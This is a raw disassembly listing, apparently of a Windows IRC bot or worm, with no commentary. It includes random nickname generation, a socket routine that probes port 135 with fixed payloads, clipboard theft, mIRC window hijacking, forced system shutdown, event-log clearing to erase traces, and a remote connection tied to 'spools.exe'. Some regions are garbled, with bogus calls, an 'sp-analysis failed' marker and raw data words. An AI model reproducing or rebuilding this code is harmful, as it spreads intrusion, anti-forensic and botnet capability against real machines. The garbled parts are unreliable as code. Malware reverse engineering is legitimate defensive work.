		cmp	esi, 3
		jz	short loc_4182E1
		cmp	eax, 1
		jnz	loc_4183D2


loc_4182E1:				; CODE XREF: sub_4180E3+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_418323
		push	edi
		call	sub_41B890
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41CE38
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_41833F
; ---------------------------------------------------------------------------


loc_418323:				; CODE XREF: sub_4180E3+207j
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41CE38
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_41833F:				; CODE XREF: sub_4180E3+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41CE38
		cmp	esi, 3
		jz	short loc_418368
		cmp	eax, ebx
		jnz	short loc_4183D2


loc_418368:				; CODE XREF: sub_4180E3+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_4183AD
		push	edi
		call	sub_41B890
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41CE38
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_4183CB
; ---------------------------------------------------------------------------


loc_4183AD:				; CODE XREF: sub_4180E3+28Fj
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41CE38
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_4183CB:				; CODE XREF: sub_4180E3+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_4183D2:				; CODE XREF: sub_4180E3+1C9j
					; sub_4180E3+1F8j ...
		cmp	esi, 6
		jge	loc_41845B
		cmp	esi, 5
		jge	short loc_4183F3
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		jmp	short loc_418411
; ---------------------------------------------------------------------------


loc_4183F3:				; CODE XREF: sub_4180E3+2FBj
		call	sub_41BF92
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8


loc_418411:				; CODE XREF: sub_4180E3+30Ej
		call	sub_41CE38
		test	eax, eax
		jnz	short loc_418434
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41CE38
		mov	cl, 30h
		jmp	short loc_418451
; ---------------------------------------------------------------------------


loc_418434:				; CODE XREF: sub_4180E3+335j
		cmp	eax, 1
		jnz	short loc_41845B
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41CE38
		mov	cl, 41h


loc_418451:				; CODE XREF: sub_4180E3+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_41845B:				; CODE XREF: sub_4180E3+2F2j
					; sub_4180E3+354j
		cmp	[ebp+var_C], 2
		jge	short loc_4184DB
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41CE38
		cmp	eax, 1
		jnz	short loc_4184DB
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41CE38
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41CE38
		cmp	eax, 1
		jnz	short loc_4184DB
		cmp	[ebp+var_C], eax
		jge	short loc_4184DB
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41CE38
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_4184DB:				; CODE XREF: sub_4180E3+1B1j
					; sub_4180E3+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41BCA0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4180E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184F4	proc near		; CODE XREF: sub_41852C+125p
					; sub_41852C+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_418522


loc_418505:				; CODE XREF: sub_4184F4+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41DD70
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_418528
		inc	esi
		cmp	esi, edi
		jl	short loc_418505


loc_418522:				; CODE XREF: sub_4184F4+Fj
		xor	al, al


loc_418524:				; CODE XREF: sub_4184F4+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418528:				; CODE XREF: sub_4184F4+27j
		mov	al, 1
		jmp	short loc_418524
sub_4184F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41852C	proc near		; CODE XREF: sub_40E18F+8Bp

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_41C1D0
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_41856D
		dec	eax
		jz	short loc_41854B
		dec	eax


loc_418545:				; CODE XREF: sub_41852C+57j
		xor	eax, eax


loc_418547:				; CODE XREF: sub_41852C+3Fj
					; sub_41852C+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_41854B:				; CODE XREF: sub_41852C+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_4D1230	; inet_addr
		push	eax
		call	sub_40BF97
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_418547
; ---------------------------------------------------------------------------


loc_41856D:				; CODE XREF: sub_41852C+13j
		push	6
		push	1
		push	2
		call	dword_4D1270	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_418545
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_4D11F0	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40AA54
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4D1198	; connect
		cmp	eax, edi
		jz	loc_418689
		push	ebx
		push	48h
		push	offset dword_440A98
		push	esi
		call	dword_4D1240	; send
		cmp	eax, edi
		jz	loc_418689
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4D1208	; recv
		cmp	eax, edi
		jz	loc_418689
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_418689
		push	ebx
		push	18h
		push	offset dword_440AE4
		push	[ebp+arg_4]
		call	dword_4D1240	; send
		cmp	eax, edi
		jz	short loc_418689
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4D1208	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_418689
		cmp	[ebp+var_200E],	2
		jnz	short loc_418689
		push	10h
		push	offset dword_440B00
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_4184F4
		add	esp, 10h
		test	al, al
		jz	short loc_418669
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_418689
; ---------------------------------------------------------------------------


loc_418669:				; CODE XREF: sub_41852C+12Fj
		push	10h
		push	offset dword_440B14
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_4184F4
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_418689:				; CODE XREF: sub_41852C+9Bj
					; sub_41852C+B2j ...
		push	[ebp+arg_4]
		call	dword_4D1288	; closesocket
		mov	eax, ebx
		pop	ebx
		jmp	loc_418547
sub_41852C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41869A	proc near		; CODE XREF: .nsp0:004026DAp
					; .nsp0:00402717p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_418725
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_418725
		cmp	[ebp+arg_8], esi
		jz	short loc_418725
		cmp	byte ptr [eax],	0
		jz	short loc_418725
		push	ebx
		push	edi
		call	sub_426265
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_418720
		push	[ebp+arg_4]
		push	edi
		call	sub_41BFB0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_418719
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41BCA0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41B890
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C880
		push	[ebp+arg_4]
		call	sub_41B890
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41C560
		push	ebx
		push	edi
		call	sub_41C550
		add	esp, 30h
		mov	esi, edi


loc_418719:				; CODE XREF: sub_41869A+3Cj
		push	ebx
		call	sub_41B961
		pop	ecx


loc_418720:				; CODE XREF: sub_41869A+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_418727
; ---------------------------------------------------------------------------


loc_418725:				; CODE XREF: sub_41869A+Cj
					; sub_41869A+13j ...
		xor	eax, eax


loc_418727:				; CODE XREF: sub_41869A+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41869A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41872B	proc near		; CODE XREF: sub_401A09+DCp

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41BC40
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41B890
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_418761
		or	eax, 0FFFFFFFFh
		jmp	short loc_4187D4
; ---------------------------------------------------------------------------


loc_418761:				; CODE XREF: sub_41872B+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_418783


loc_41876D:				; CODE XREF: sub_41872B+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_41877A
		cmp	dl, 0Dh
		jnz	short loc_41877E


loc_41877A:				; CODE XREF: sub_41872B+48j
		and	byte ptr [ecx+esi], 0


loc_41877E:				; CODE XREF: sub_41872B+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_41876D


loc_418783:				; CODE XREF: sub_41872B+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_4187B4
		lea	edi, [ebp+var_7CC]


loc_418790:				; CODE XREF: sub_41872B+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_4187AF
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_4187AF
		cmp	ebx, 1F4h
		jge	short loc_4187B4
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_4187AF:				; CODE XREF: sub_41872B+69j
					; sub_41872B+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_418790


loc_4187B4:				; CODE XREF: sub_41872B+5Dj
					; sub_41872B+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_4187D2
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	near ptr sub_41C9B0
		add	esp, 0Ch


loc_4187D2:				; CODE XREF: sub_41872B+8Ej
		mov	eax, ebx


loc_4187D4:				; CODE XREF: sub_41872B+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_41872B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187D8	proc near		; CODE XREF: sub_418832+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418811
		push	ebx
		mov	ebx, edi


loc_4187F5:				; CODE XREF: sub_4187D8+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418814
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_4187F5
		pop	ebx


loc_418811:				; CODE XREF: sub_4187D8+18j
		pop	edi
		pop	esi
		retn
sub_4187D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_418814	proc near		; CODE XREF: sub_4187D8+25p
					; sub_418832+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41DE1C
		cmp	al, 61h
		pop	ecx
		jl	short loc_41882F
		cmp	al, 7Ah
		jg	short loc_41882F
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_41882F:				; CODE XREF: sub_418814+Ej
					; sub_418814+12j
		xor	eax, eax
		retn
sub_418814	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418832	proc near		; CODE XREF: .nsp0:00415927p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41C1D0
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B890
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41B890
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_4187D8
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_418870:				; CODE XREF: sub_418832+B6j
		test	esi, esi
		jle	short loc_4188EE
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DE1C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41DE1C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4188E6


loc_418896:				; CODE XREF: sub_418832+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418814
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_4188B7
		mov	eax, ecx


loc_4188B7:				; CODE XREF: sub_418832+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_4188EA
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DE1C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41DE1C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_418896


loc_4188E6:				; CODE XREF: sub_418832+62j
		dec	edi
		dec	esi
		jmp	short loc_418870
; ---------------------------------------------------------------------------


loc_4188EA:				; CODE XREF: sub_418832+8Aj
		xor	eax, eax
		jmp	short loc_4188F3
; ---------------------------------------------------------------------------


loc_4188EE:				; CODE XREF: sub_418832+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_4188F3:				; CODE XREF: sub_418832+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418832	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4188F8	proc near		; CODE XREF: .nsp0:004081F4p
					; .nsp0:004092CBp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	dword_42708C	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 0B40000h
		pop	ebx
		lea	eax, [ebp+var_100]


loc_418931:				; CODE XREF: sub_4188F8+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_41893D
		cmp	cl, 9
		jnz	short loc_418940


loc_41893D:				; CODE XREF: sub_4188F8+3Ej
		inc	eax
		jmp	short loc_418931
; ---------------------------------------------------------------------------


loc_418940:				; CODE XREF: sub_4188F8+43j
					; sub_4188F8+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_41895A
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418940
		cmp	cl, 21h
		jl	short loc_418940


loc_41895A:				; CODE XREF: sub_4188F8+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4E09AC
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41C030
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4188F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_418982	proc near		; CODE XREF: .nsp0:00403F92p
		push	esi
		push	0
		call	dword_4D11C0	; OpenClipboard
		test	eax, eax
		jz	short loc_4189B9
		push	1
		call	dword_4D11E0	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_4189B9
		push	edi
		push	esi
		call	dword_427164	; GlobalLock
		push	esi
		mov	edi, eax
		call	dword_427160	; GlobalUnlock
		call	dword_4D1244	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4189B9:				; CODE XREF: sub_418982+Bj
					; sub_418982+19j
		xor	eax, eax
		pop	esi
		retn
sub_418982	endp


; =============== S U B	R O U T	I N E =======================================



sub_4189BD	proc near		; CODE XREF: .nsp0:00409065p

var_30		= dword	ptr -30h

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4D11FC	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_418A39
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	near ptr 0B40000h
		popf
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 0B40000h
		pushf
		push	[esp+44h+var_30]
		mov	ebx, eax
		push	ebx
		call	sub_41BF36
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4D124C	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4D124C	; SendMessageA
		push	ebx
		call	near ptr 0B40000h
		mov	al, ds:6C15FF57h
		jo	short loc_418A74
		add	[edx+1], ch
		pop	eax
		pop	ebx
		jmp	short loc_418A3B
; ---------------------------------------------------------------------------


loc_418A39:				; CODE XREF: sub_4189BD+16j
		xor	eax, eax


loc_418A3B:				; CODE XREF: sub_4189BD+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-11Ch]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4D12AC	; SearchPathA
		test	eax, eax
		jz	short loc_418ADE
		mov	edi, 80h
		push	esi
		push	edi
		push	3


loc_418A74:				; CODE XREF: sub_4189BD+73j
		push	esi
		mov	esi, dword_4270EC
		push	1
		lea	eax, [ebp-11Ch]
		push	80000000h
		push	eax
		call	esi ; dword_4270EC
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418ADE
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		push	ebx
		call	near ptr 0B40000h
		in	eax, 53h
		mov	ebx, dword_42706C
		call	ebx ; dword_42706C
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	dword ptr [ebp+8]
		call	esi ; dword_4270EC
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418ADE
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-8]	; CODE XREF: .nsp0:00418B3Fj
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		push	esi
		call	near ptr 0B40000h
		scasb
		push	esi
		call	ebx ; dword_42706C


loc_418ADE:				; CODE XREF: sub_4189BD+ACj
					; sub_4189BD+D3j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4189BD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_418AE3	proc near		; CODE XREF: .nsp0:004031A0p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419EDA
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4D1130	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418AE3	endp

; ---------------------------------------------------------------------------


loc_418B05:				; CODE XREF: .nsp0:00404224p
					; .nsp0:00416E74p
		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_418B29
		cmp	dword_4D12C0, esi
		jnz	short loc_418B29
		push	esi
		call	sub_401000
		pop	ecx


loc_418B29:				; CODE XREF: .nsp0:00418B18j
					; .nsp0:00418B20j
		call	sub_40B1D7
		lea	eax, [ebp-764h]
		push	eax
		push	400h
		call	near ptr 0B40000h
		jle	short near ptr loc_418ACC+2
		test	[eax+edi*8-72AF0001h], ebx
		test	[eax+68FFFFFDh], esp
		les	ecx, [ebx]
		inc	esp
		add	[eax-18h], dl
		fidiv	word ptr [ebx]
; ---------------------------------------------------------------------------
		dw 0
		dd 8D0CC483h, 0FFFDA085h, 6A5656FFh, 68565602h,	40000000h
		dd 0EC15FF50h, 8B004270h, 0FFE3BF8h, 10C86h, 0A0858D00h
		dd 50FFFFFDh, 0F89C858Dh, 8068FFFFh, 5000440Bh,	33A1E8h
		dd 0CC48300h, 56FC458Dh, 9C858D50h, 50FFFFF8h, 2CE7E8h
		dd 8D505900h, 0FFF89C85h, 0E85750FFh, 727448h, 15FF5787h
		dd 42706Ch, 458D106Ah, 0E85056ECh, 3074h, 458D446Ah, 56575FA8h
		dd 3066E850h, 0C4830000h, 0A87D8918h, 104BFh, 0A4858D00h
		dd 57FFFFFEh, 45C75650h, 443398B4h, 0D445C700h,	1, 0D8758966h
		dd 7273FBE8h, 0E8504600h, 7273F4h, 0A4858D40h, 50FFFFFEh
		dd 709815FFh, 0F8830042h, 8D1274FFh, 0FFFEA485h, 8068FFh
		dd 0E8500000h, 7273D0h,	0A4858D8Fh, 50FFFFFEh, 0FDA0858Dh
		dd 8D50FFFFh, 0FFF89C85h, 0B6868FFh, 0E8500044h, 32E6h
		dd 8D10C483h, 0FFFC9C85h, 8D5057FFh, 0FFF89C85h, 99E850FFh
		dd 98007273h, 50EC458Dh, 50A8458Dh, 8685656h, 6A000040h
		dd 858D5601h, 0FFFFFC9Ch, 0E8565056h, 727378h, 0C95E5FC1h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8D	proc near		; CODE XREF: .nsp0:00408C42p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	dword_4270C8	; GetVersionExA
		cmp	[ebp+var_84], 2
		jnz	short loc_418D23
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4D1170	; OpenEventLogA
		push	edi
		push	eax
		call	dword_4D1180	; ClearEventLogA
		test	eax, eax
		jz	short loc_418D15
		push	[ebp+arg_10]
		push	offset dword_440C28


loc_418CEE:				; CODE XREF: sub_418C8D+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41BF36
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h
		jmp	short loc_418D4D
; ---------------------------------------------------------------------------


loc_418D15:				; CODE XREF: sub_418C8D+57j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_440C00
		jmp	short loc_418CEE
; ---------------------------------------------------------------------------


loc_418D23:				; CODE XREF: sub_418C8D+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_440BD0
		push	eax
		call	sub_41BF36
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 1Ch


loc_418D4D:				; CODE XREF: sub_418C8D+86j
		pop	edi
		leave
		retn
sub_418C8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418D50	proc near		; CODE XREF: sub_40E18F+480p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4D1230	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_4D11F0	; ntohs
		push	ebx
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4D1270	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_418E1B
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4D1198	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418E1B
		mov	esi, 400h
		push	ebx
		lea	eax, [ebp+var_5A0]
		push	esi
		push	eax
		push	edi
		call	dword_4D1208	; recv
		mov	eax, offset aSpools_exe	; "spools.exe"
		push	eax
		push	eax
		push	dword_4D0F20
		push	[ebp+arg_0]
